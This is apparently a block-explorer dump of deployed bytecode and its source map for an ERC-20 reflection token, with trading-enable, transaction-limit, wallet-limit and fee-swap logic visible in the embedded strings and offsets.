b90610c22565b5f546001600160a01b031633146104b95760405162461bcd60e51b8152600401610451906113dc565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461052a5760405162461bcd60e51b8152600401610451906113dc565b60055460128190556013555f600781905560026008819055600991909155600a55565b5f6103b7338484610763565b5f546001600160a01b031633146105825760405162461bcd60e51b8152600401610451906113dc565b6001600160a01b0381166105e75760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610451565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106a25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610451565b6001600160a01b0382166107035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610451565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610451565b6001600160a01b0382166108295760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610451565b5f811161088a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610451565b5f546001600160a01b038481169116148015906108b457505f546001600160a01b03838116911614155b15610ae057601154600160a01b900460ff1661094c575f546001600160a01b0384811691161461094c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610451565b60125481111561099e5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610451565b6011546001600160a01b03838116911614610a2457601354816109c08461046f565b6109ca9190611425565b1115610a245760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610451565b5f610a2e3061046f565b601454601254919250821015908210610a475760125491505b808015610a5e5750601154600160a81b900460ff16155b8015610a7757506011546001600160a01b038581169116145b8015610a8c5750601154600160b01b900460ff165b8015610ab057506001600160a01b0385165f9081526004602052604090205460ff16155b8015610abd575060145483115b15610add57610acb82610c3f565b478015610adb57610adb47610daf565b505b50505b6001600160a01b0383165f9081526004602052604090205460019060ff1680610b2057506001600160a01b0383165f9081526004602052604090205460ff165b80610b5257506011546001600160a01b03858116911614801590610b5257506011546001600160a01b03848116911614155b15610b5e57505f610bd8565b6011546001600160a01b038581169116148015610b8957506010546001600160a01b03848116911614155b15610b9b57600754600b55600854600c555b6011546001600160a01b038481169116148015610bc657506010546001600160a01b03858116911614155b15610bd857600954600b55600a54600c555b610be484848484610dea565b50505050565b5f8184841115610c0d5760405162461bcd60e51b815260040161045191906112c0565b505f610c198486611438565b95945050505050565b5f80610c2c610e18565b9050610c388382610e39565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610c8557610c8561144b565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cdc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d00919061145f565b81600181518110610d1357610d1361144b565b6001600160a01b039283166020918202929092010152601054610d399130911684610640565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d719085905f9086903090429060040161147a565b5f604051808303815f87803b158015610d88575f80fd5b505af1158015610d9a573d5f803e3d5ffd5b50506011805460ff60a81b1916905550505050565b600f546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610de6573d5f803e3d5ffd5b5050565b80610df757610df7610e7a565b610e02848484610ea7565b80610be457610be4600d54600b55600e54600c55565b5f805f610e23610fdb565b9092509050610e328282610e39565b9250505090565b5f610c3883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061101a565b600b54158015610e8a5750600c54155b15610e9157565b600b8054600d55600c8054600e555f9182905555565b5f805f805f80610eb687611046565b6001600160a01b038f165f90815260046020526040902054959b5093995091975095509350915060ff161580610ef65750601154600160a01b900460ff16155b15610f36576001600160a01b0389165f90815260026020526040902054610f1d908761109b565b6001600160a01b038a165f908152600260205260409020555b6001600160a01b0388165f90815260026020526040902054610f5890866110dc565b6001600160a01b0389165f90815260026020526040902055610f798161113a565b610f838483611180565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610fc891815260200190565b60405180910390a3505050505050505050565b6005545f908190670de0b6b3a7640000610ff58282610e39565b82101561101157505060055492670de0b6b3a764000092509050565b90939092509050565b5f818361103a5760405162461bcd60e51b815260040161045191906112c0565b505f610c1984866114e9565b5f805f805f805f805f61105e8a600b54600c546111a4565b9250925092505f61106d610e18565b90505f805f61107e8e8787876111f6565b919e509c509a509598509396509194505050505091939550919395565b5f610c3883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610bea565b5f806110e88385611425565b905083811015610c385760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610451565b5f611143610e18565b90505f6111508383611242565b305f9081526002602052604090205490915061116c90826110dc565b305f90815260026020526040902055505050565b60055461118d908361109b565b60055560065461119d90826110dc565b6006555050565b5f8080806111bd60646111b78989611242565b90610e39565b90505f6111cf60646111b78a89611242565b90505f6111e6826111e08b8661109b565b9061109b565b9992985090965090945050505050565b5f8080806112048886611242565b90505f6112118887611242565b90505f61121e8888611242565b90505f61122f826111e0868661109b565b939b939a50919850919650505050505050565b5f825f0361125157505f6103bb565b5f61125c8385611508565b90508261126985836114e9565b14610c385760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610451565b5f6020808352835180828501525f5b818110156112eb578581018301518582016040015282016112cf565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461131f575f80fd5b50565b5f8060408385031215611333575f80fd5b823561133e8161130b565b946020939093013593505050565b5f805f6060848603121561135e575f80fd5b83356113698161130b565b925060208401356113798161130b565b929592945050506040919091013590565b5f6020828403121561139a575f80fd5b8135610c388161130b565b5f80604083850312156113b6575f80fd5b82356113c18161130b565b915060208301356113d18161130b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b808201808211156103bb576103bb611411565b818103818111156103bb576103bb611411565b634e487b7160e01b5f52603260045260245ffd5b5f6020828403121561146f575f80fd5b8151610c388161130b565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156114c85784516001600160a01b0316835293830193918301916001016114a3565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261150357634e487b7160e01b5f52601260045260245ffd5b500490565b80820281158282048414176103bb576103bb61141156fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201b6a6588ffd936f6ef19fc2599c6fafeb64cb8c455c4e9f782853bf014c24d9664736f6c63430008150033

Deployed Bytecode Sourcemap

4353:11247:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6506:83;;;;;;;;;;-1:-1:-1;6576:5:0;;;;;;;;;;;;-1:-1:-1;;;6576:5:0;;;;6506:83;;;;;;;:::i;:::-;;;;;;;;7433:193;;;;;;;;;;-1:-1:-1;7433:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7433:193:0;1023:187:1;6783:101:0;;;;;;;;;;-1:-1:-1;4864:15:0;6783:101;;;1361:25:1;;;1349:2;1334:18;6783:101:0;1215:177:1;9461:446:0;;;;;;;;;;-1:-1:-1;9461:446:0;;;;;:::i;:::-;;:::i;6692:83::-;;;;;;;;;;-1:-1:-1;6692:83:0;;4769:1;2000:36:1;;1988:2;1973:18;6692:83:0;1858:184:1;7728:76:0;;;;;;;;;;;;;:::i;:::-;;6892:134;;;;;;;;;;-1:-1:-1;6892:134:0;;;;;:::i;:::-;;:::i;1840:148::-;;;;;;;;;;;;;:::i;5383:39::-;;;;;;;;;;-1:-1:-1;5383:39:0;;;;-1:-1:-1;;;;;5383:39:0;;;;;;-1:-1:-1;;;;;2489:32:1;;;2471:51;;2459:2;2444:18;5383:39:0;2299:229:1;12752:234:0;;;;;;;;;;;;;:::i;1626:79::-;;;;;;;;;;-1:-1:-1;1664:7:0;1691:6;-1:-1:-1;;;;;1691:6:0;1626:79;;6597:87;;;;;;;;;;-1:-1:-1;6669:7:0;;;;;;;;;;;;-1:-1:-1;;;6669:7:0;;;;6597:87;;5429:26;;;;;;;;;;-1:-1:-1;5429:26:0;;;;-1:-1:-1;;;;;5429:26:0;;;7034:199;;;;;;;;;;-1:-1:-1;7034:199:0;;;;;:::i;:::-;;:::i;5574:52::-;;;;;;;;;;;;;;;;7241:184;;;;;;;;;;-1:-1:-1;7241:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7390:18:0;;;7358:7;7390:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7241:184;5687:49;;;;;;;;;;;;;;;;1996:244;;;;;;;;;;-1:-1:-1;1996:244:0;;;;;:::i;:::-;;:::i;5633:47::-;;;;;;;;;;;;;;;;7433:193;7535:4;7557:39;1223:10;7580:7;7589:6;7557:8;:39::i;:::-;-1:-1:-1;7614:4:0;7433:193;;;;;:::o;9461:446::-;9593:4;9610:36;9620:6;9628:9;9639:6;9610:9;:36::i;:::-;9657:220;9680:6;1223:10;9728:138;9784:6;9728:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;9728:19:0;;;;;;:11;:19;;;;;;;;1223:10;9728:33;;;;;;;;;;:37;:138::i;:::-;9657:8;:220::i;:::-;-1:-1:-1;9895:4:0;9461:446;;;;;:::o;7728:76::-;1753:6;;-1:-1:-1;;;;;1753:6:0;1223:10;1753:22;1745:67;;;;-1:-1:-1;;;1745:67:0;;;;;;;:::i;:::-;;;;;;;;;7778:11:::1;:18:::0;;-1:-1:-1;;;;7778:18:0::1;-1:-1:-1::0;;;7778:18:0::1;::::0;;7728:76::o;6892:134::-;-1:-1:-1;;;;;7001:16:0;;6958:7;7001:16;;;:7;:16;;;;;;6985:33;;:15;:33::i;1840:148::-;1753:6;;-1:-1:-1;;;;;1753:6:0;1223:10;1753:22;1745:67;;;;-1:-1:-1;;;1745:67:0;;;;;;;:::i;:::-;1947:1:::1;1931:6:::0;;1910:40:::1;::::0;-1:-1:-1;;;;;1931:6:0;;::::1;::::0;1910:40:::1;::::0;1947:1;;1910:40:::1;1978:1;1961:19:::0;;-1:-1:-1;;;;;;1961:19:0::1;::::0;;1840:148::o;12752:234::-;1753:6;;-1:-1:-1;;;;;1753:6:0;1223:10;1753:22;1745:67;;;;-1:-1:-1;;;1745:67:0;;;;;;;:::i;:::-;12823:13:::1;::::0;12806:14:::1;:30:::0;;;12847:9:::1;:25:::0;-1:-1:-1;12883:12:0::1;:16:::0;;;12923:1:::1;12910:10;:14:::0;;;12935:13:::1;:17:::0;;;;-1:-1:-1;12963:15:0;12752:234::o;7034:199::-;7139:4;7161:42;1223:10;7185:9;7196:6;7161:9;:42::i;1996:244::-;1753:6;;-1:-1:-1;;;;;1753:6:0;1223:10;1753:22;1745:67;;;;-1:-1:-1;;;1745:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2085:22:0;::::1;2077:73;;;::::0;-1:-1:-1;;;2077:73:0;;3697:2:1;2077:73:0::1;::::0;::::1;3679:21:1::0;3736:2;3716:18;;;3709:30;3775:34;3755:18;;;3748:62;-1:-1:-1;;;3826:18:1;;;3819:36;3872:19;;2077:73:0::1;3495:402:1::0;2077:73:0::1;2187:6;::::0;;2166:38:::1;::::0;-1:-1:-1;;;;;2166:38:0;;::::1;::::0;2187:6;::::1;::::0;2166:38:::1;::::0;::::1;2215:6;:17:::0;;-1:-1:-1;;;;;;2215:17:0::1;-1:-1:-1::0;;;;;2215:17:0;;;::::1;::::0;;;::::1;::::0;;1996:244::o;12375:369::-;-1:-1:-1;;;;;12502:19:0;;12494:68;;;;-1:-1:-1;;;12494:68:0;;4104:2:1;12494:68:0;;;4086:21:1;4143:2;4123:18;;;4116:30;4182:34;4162:18;;;4155:62;-1:-1:-1;;;4233:18:1;;;4226:34;4277:19;;12494:68:0;3902:400:1;12494:68:0;-1:-1:-1;;;;;12581:21:0;;12573:68;;;;-1:-1:-1;;;12573:68:0;;4509:2:1;12573:68:0;;;4491:21:1;4548:2;4528:18;;;4521:30;4587:34;4567:18;;;4560:62;-1:-1:-1;;;4638:18:1;;;4631:32;4680:19;;12573:68:0;4307:398:1;12573:68:0;-1:-1:-1;;;;;12652:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;12704:32;;1361:25:1;;;12704:32:0;;1334:18:1;12704:32:0;;;;;;;12375:369;;;:::o;12994:2118::-;-1:-1:-1;;;;;13116:18:0;;13108:68;;;;-1:-1:-1;;;13108:68:0;;4912:2:1;13108:68:0;;;4894:21:1;4951:2;4931:18;;;4924:30;4990:34;4970:18;;;4963:62;-1:-1:-1;;;5041:18:1;;;5034:35;5086:19;;13108:68:0;4710:401:1;13108:68:0;-1:-1:-1;;;;;13195:16:0;;13187:64;;;;-1:-1:-1;;;13187:64:0;;5318:2:1;13187:64:0;;;5300:21:1;5357:2;5337:18;;;5330:30;5396:34;5376:18;;;5369:62;-1:-1:-1;;;5447:18:1;;;5440:33;5490:19;;13187:64:0;5116:399:1;13187:64:0;13279:1;13270:6;:10;13262:64;;;;-1:-1:-1;;;13262:64:0;;5722:2:1;13262:64:0;;;5704:21:1;5761:2;5741:18;;;5734:30;5800:34;5780:18;;;5773:62;-1:-1:-1;;;5851:18:1;;;5844:39;5900:19;;13262:64:0;5520:405:1;13262:64:0;1664:7;1691:6;-1:-1:-1;;;;;13343:15:0;;;1691:6;;13343:15;;;;:32;;-1:-1:-1;1664:7:0;1691:6;-1:-1:-1;;;;;13362:13:0;;;1691:6;;13362:13;;13343:32;13339:1132;;;13397:11;;-1:-1:-1;;;13397:11:0;;;;13392:144;;1664:7;1691:6;-1:-1:-1;;;;;13437:15:0;;;1691:6;;13437:15;13429:91;;;;-1:-1:-1;;;13429:91:0;;6132:2:1;13429:91:0;;;6114:21:1;6171:2;6151:18;;;6144:30;6210:34;6190:18;;;6183:62;6281:33;6261:18;;;6254:61;6332:19;;13429:91:0;5930:427:1;13429:91:0;13570:14;;13560:6;:24;;13552:65;;;;-1:-1:-1;;;13552:65:0;;6564:2:1;13552:65:0;;;6546:21:1;6603:2;6583:18;;;6576:30;6642;6622:18;;;6615:58;6690:18;;13552:65:0;6362:352:1;13552:65:0;13643:11;;-1:-1:-1;;;;;13637:17:0;;;13643:11;;13637:17;13634:140;;13709:9;;13699:6;13683:13;13693:2;13683:9;:13::i;:::-;:22;;;;:::i;:::-;:35;;13675:83;;;;-1:-1:-1;;;13675:83:0;;7183:2:1;13675:83:0;;;7165:21:1;7222:2;7202:18;;;7195:30;7261:34;7241:18;;;7234:62;-1:-1:-1;;;7312:18:1;;;7305:33;7355:19;;13675:83:0;6981:399:1;13675:83:0;13790:28;13821:24;13839:4;13821:9;:24::i;:::-;13899:16;;13959:14;;13790:55;;-1:-1:-1;13875:40:0;;;;13935:38;;13932:128;;14030:14;;14007:37;;13932:128;14080:7;:19;;;;-1:-1:-1;14092:7:0;;-1:-1:-1;;;14092:7:0;;;;14091:8;14080:19;:40;;;;-1:-1:-1;14109:11:0;;-1:-1:-1;;;;;14103:17:0;;;14109:11;;14103:17;14080:40;:59;;;;-1:-1:-1;14124:15:0;;-1:-1:-1;;;14124:15:0;;;;14080:59;:88;;;;-1:-1:-1;;;;;;14144:24:0;;;;;;:18;:24;;;;;;;;14143:25;14080:88;:117;;;;;14181:16;;14172:6;:25;14080:117;14076:384;;;14218:38;14235:20;14218:16;:38::i;:::-;14304:21;14348:22;;14344:101;;14395:30;14403:21;14395:7;:30::i;:::-;14199:261;14076:384;13377:1094;;13339:1132;-1:-1:-1;;;;;14516:24:0;;14481:12;14516:24;;;:18;:24;;;;;;14496:4;;14516:24;;;:50;;-1:-1:-1;;;;;;14544:22:0;;;;;;:18;:22;;;;;;;;14516:50;14515:98;;;-1:-1:-1;14580:11:0;;-1:-1:-1;;;;;14572:19:0;;;14580:11;;14572:19;;;;:40;;-1:-1:-1;14601:11:0;;-1:-1:-1;;;;;14595:17:0;;;14601:11;;14595:17;;14572:40;14511:540;;;-1:-1:-1;14640:5:0;14511:540;;;14689:11;;-1:-1:-1;;;;;14681:19:0;;;14689:11;;14681:19;:51;;;;-1:-1:-1;14718:13:0;;-1:-1:-1;;;;;14704:28:0;;;14718:13;;14704:28;;14681:51;14678:154;;;14765:12;;14753:9;:24;14806:10;;14796:7;:20;14678:154;14891:11;;-1:-1:-1;;;;;14885:17:0;;;14891:11;;14885:17;:51;;;;-1:-1:-1;14922:13:0;;-1:-1:-1;;;;;14906:30:0;;;14922:13;;14906:30;;14885:51;14881:157;;;14969:13;;14957:9;:25;15011:11;;15001:7;:21;14881:157;15063:41;15078:4;15084:2;15088:6;15096:7;15063:14;:41::i;:::-;13097:2015;12994:2118;;;:::o;2604:224::-;2724:7;2760:12;2752:6;;;;2744:29;;;;-1:-1:-1;;;2744:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2784:9:0;2796:5;2800:1;2796;:5;:::i;:::-;2784:17;2604:224;-1:-1:-1;;;;;2604:224:0:o;9915:205::-;10006:7;10031:19;10053:17;:15;:17::i;:::-;10031:39;-1:-1:-1;10088:24:0;:7;10031:39;10088:11;:24::i;:::-;10081:31;9915:205;-1:-1:-1;;;9915:205:0:o;15120:477::-;5832:7;:14;;-1:-1:-1;;;;5832:14:0;-1:-1:-1;;;5832:14:0;;;15222:16:::1;::::0;;15236:1:::1;15222:16:::0;;;;;::::1;::::0;;-1:-1:-1;;15222:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;15222:16:0::1;15198:40;;15267:4;15249;15254:1;15249:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15249:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;15293:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;15293:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;15249:7;;15293:20;;;;;:13;:20:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15283:4;15288:1;15283:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;15283:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;15356:13:::1;::::0;15324:60:::1;::::0;15341:4:::1;::::0;15356:13:::1;15372:11:::0;15324:8:::1;:60::i;:::-;15395:13;::::0;:194:::1;::::0;-1:-1:-1;;;15395:194:0;;-1:-1:-1;;;;;15395:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;15474:11;;15395:13:::1;::::0;15516:4;;15543::::1;::::0;15563:15:::1;::::0;15395:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5869:7:0;:15;;-1:-1:-1;;;;5869:15:0;;;-1:-1:-1;;;;15120:477:0:o;7634:86::-;7686:9;;:26;;-1:-1:-1;;;;;7686:9:0;;;;:26;;;;;7705:6;;7686:9;:26;:9;:26;7705:6;7686:9;:26;;;;;;;;;;;;;;;;;;;;;7634:86;:::o;8046:282::-;8202:7;8197:28;;8211:14;:12;:14::i;:::-;8236:44;8254:6;8262:9;8273:6;8236:17;:44::i;:::-;8296:7;8291:29;;8305:15;12303:20;;12291:9;:32;12344:15;;12334:7;:25;12247:120;11777:164;11826:7;11847:15;11864;11883:12;:10;:12::i;:::-;11846:49;;-1:-1:-1;11846:49:0;-1:-1:-1;11913:20:0;11846:49;;11913:11;:20::i;:::-;11906:27;;;;11777:164;:::o;3090:132::-;3148:7;3175:39;3179:1;3182;3175:39;;;;;;;;;;;;;;;;;:3;:39::i;7816:222::-;7863:9;;:14;:30;;;;-1:-1:-1;7881:7:0;;:12;7863:30;7859:43;;;7816:222::o;7859:43::-;7937:9;;;7914:20;:32;7975:7;;;7957:15;:25;-1:-1:-1;7995:13:0;;;;8019:11;7816:222::o;8336:685::-;8483:15;8513:23;8551:12;8578:23;8616:12;8643:13;8670:19;8681:7;8670:10;:19::i;:::-;-1:-1:-1;;;;;8705:26:0;;;;;;:18;:26;;;;;;8468:221;;-1:-1:-1;8468:221:0;;-1:-1:-1;8468:221:0;;-1:-1:-1;8468:221:0;-1:-1:-1;8468:221:0;-1:-1:-1;8468:221:0;-1:-1:-1;8705:26:0;;8704:27;;:43;;-1:-1:-1;8736:11:0;;-1:-1:-1;;;8736:11:0;;;;8735:12;8704:43;8700:122;;;-1:-1:-1;;;;;8782:15:0;;;;;;:7;:15;;;;;;:28;;8802:7;8782:19;:28::i;:::-;-1:-1:-1;;;;;8764:15:0;;;;;;:7;:15;;;;;:46;8700:122;-1:-1:-1;;;;;8853:18:0;;;;;;:7;:18;;;;;;:39;;8876:15;8853:22;:39::i;:::-;-1:-1:-1;;;;;8832:18:0;;;;;;:7;:18;;;;;:60;8903:16;8913:5;8903:9;:16::i;:::-;8930:23;8942:4;8948;8930:11;:23::i;:::-;8986:9;-1:-1:-1;;;;;8969:44:0;8978:6;-1:-1:-1;;;;;8969:44:0;;8997:15;8969:44;;;;1361:25:1;;1349:2;1334:18;;1215:177;8969:44:0;;;;;;;;8457:564;;;;;;8336:685;;;:::o;11953:286::-;12044:13;;11997:7;;;;4864:15;12124:32;12044:13;4864:15;12124:17;:32::i;:::-;12114:7;:42;12110:85;;;-1:-1:-1;;12166:13:0;;;4864:15;;-1:-1:-1;11953:286:0;-1:-1:-1;11953:286:0:o;12110:85::-;12214:7;;12223;;-1:-1:-1;11953:286:0;-1:-1:-1;11953:286:0:o;3230:223::-;3350:7;3385:12;3378:5;3370:28;;;;-1:-1:-1;;;3370:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3409:9:0;3421:5;3425:1;3421;:5;:::i;10128:622::-;10228:7;10250;10272;10294;10316;10338;10374:23;10399:12;10413:13;10443:40;10455:7;10464:9;;10475:7;;10443:11;:40::i;:::-;10373:110;;;;;;10494:19;10516:17;:15;:17::i;:::-;10494:39;;10545:15;10562:23;10587:12;10616:46;10628:7;10637:4;10643:5;10650:11;10616;:46::i;:::-;10544:118;;-1:-1:-1;10544:118:0;-1:-1:-1;10544:118:0;-1:-1:-1;10713:15:0;;-1:-1:-1;10730:4:0;;-1:-1:-1;10736:5:0;;-1:-1:-1;;;;;10128:622:0;;;;;;;:::o;2460:136::-;2518:7;2545:43;2549:1;2552;2545:43;;;;;;;;;;;;;;;;;:3;:43::i;2273:179::-;2331:7;;2363:5;2367:1;2363;:5;:::i;:::-;2351:17;;2392:1;2387;:6;;2379:46;;;;-1:-1:-1;;;2379:46:0;;9447:2:1;2379:46:0;;;9429:21:1;9486:2;9466:18;;;9459:30;9525:29;9505:18;;;9498:57;9572:18;;2379:46:0;9245:351:1;9029:218:0;9082:19;9104:17;:15;:17::i;:::-;9082:39;-1:-1:-1;9132:13:0;9148:22;:5;9082:39;9148:9;:22::i;:::-;9222:4;9206:22;;;;:7;:22;;;;;;9132:38;;-1:-1:-1;9206:33:0;;9132:38;9206:26;:33::i;:::-;9197:4;9181:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;9029:218:0:o;9255:157::-;9339:13;;:23;;9357:4;9339:17;:23::i;:::-;9323:13;:39;9385:9;;:19;;9399:4;9385:13;:19::i;:::-;9373:9;:31;-1:-1:-1;;9255:157:0:o;10758:469::-;10927:7;;;;11021:30;11047:3;11021:21;:7;11033:8;11021:11;:21::i;:::-;:25;;:30::i;:::-;11006:45;-1:-1:-1;11062:13:0;11078:28;11102:3;11078:19;:7;11090:6;11078:11;:19::i;:28::-;11062:44;-1:-1:-1;11117:23:0;11143:28;11062:44;11143:17;:7;11155:4;11143:11;:17::i;:::-;:21;;:28::i;:::-;11117:54;11207:4;;-1:-1:-1;11213:5:0;;-1:-1:-1;10758:469:0;;-1:-1:-1;;;;;10758:469:0:o;11235:534::-;11429:7;;;;11526:24;:7;11538:11;11526;:24::i;:::-;11508:42;-1:-1:-1;11561:12:0;11576:21;:4;11585:11;11576:8;:21::i;:::-;11561:36;-1:-1:-1;11608:13:0;11624:22;:5;11634:11;11624:9;:22::i;:::-;11608:38;-1:-1:-1;11657:23:0;11683:28;11608:38;11683:17;:7;11695:4;11683:11;:17::i;:28::-;11730:7;;;;-1:-1:-1;11756:4:0;;-1:-1:-1;11235:534:0;;-1:-1:-1;;;;;;;11235:534:0:o;2836:246::-;2894:7;2918:1;2923;2918:6;2914:47;;-1:-1:-1;2948:1:0;2941:8;;2914:47;2971:9;2983:5;2987:1;2983;:5;:::i;:::-;2971:17;-1:-1:-1;3016:1:0;3007:5;3011:1;2971:17;3007:5;:::i;:::-;:10;2999:56;;;;-1:-1:-1;;;2999:56:0;;9976:2:1;2999:56:0;;;9958:21:1;10015:2;9995:18;;;9988:30;10054:34;10034:18;;;10027:62;-1:-1:-1;;;10105:18:1;;;10098:31;10146:19;;2999:56:0;9774:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:356::-;3336:2;3318:21;;;3355:18;;;3348:30;3414:34;3409:2;3394:18;;3387:62;3481:2;3466:18;;3134:356::o;6719:127::-;6780:10;6775:3;6771:20;6768:1;6761:31;6811:4;6808:1;6801:15;6835:4;6832:1;6825:15;6851:125;6916:9;;;6937:10;;;6934:36;;;6950:18;;:::i;7385:128::-;7452:9;;;7473:11;;;7470:37;;;7487:18;;:::i;7650:127::-;7711:10;7706:3;7702:20;7699:1;7692:31;7742:4;7739:1;7732:15;7766:4;7763:1;7756:15;7782:251;7852:6;7905:2;7893:9;7884:7;7880:23;7876:32;7873:52;;;7921:1;7918;7911:12;7873:52;7953:9;7947:16;7972:31;7997:5;7972:31;:::i;8038:980::-;8300:4;8348:3;8337:9;8333:19;8379:6;8368:9;8361:25;8405:2;8443:6;8438:2;8427:9;8423:18;8416:34;8486:3;8481:2;8470:9;8466:18;8459:31;8510:6;8545;8539:13;8576:6;8568;8561:22;8614:3;8603:9;8599:19;8592:26;;8653:2;8645:6;8641:15;8627:29;;8674:1;8684:195;8698:6;8695:1;8692:13;8684:195;;;8763:13;;-1:-1:-1;;;;;8759:39:1;8747:52;;8854:15;;;;8819:12;;;;8795:1;8713:9;8684:195;;;-1:-1:-1;;;;;;;8935:32:1;;;;8930:2;8915:18;;8908:60;-1:-1:-1;;;8999:3:1;8984:19;8977:35;8896:3;8038:980;-1:-1:-1;;;8038:980:1:o;9023:217::-;9063:1;9089;9079:132;;9133:10;9128:3;9124:20;9121:1;9114:31;9168:4;9165:1;9158:15;9196:4;9193:1;9186:15;9079:132;-1:-1:-1;9225:9:1;;9023:217::o;9601:168::-;9674:9;;;9705;;9722:15;;;9716:22;;9702:37;9692:71;;9743:18;;:::i

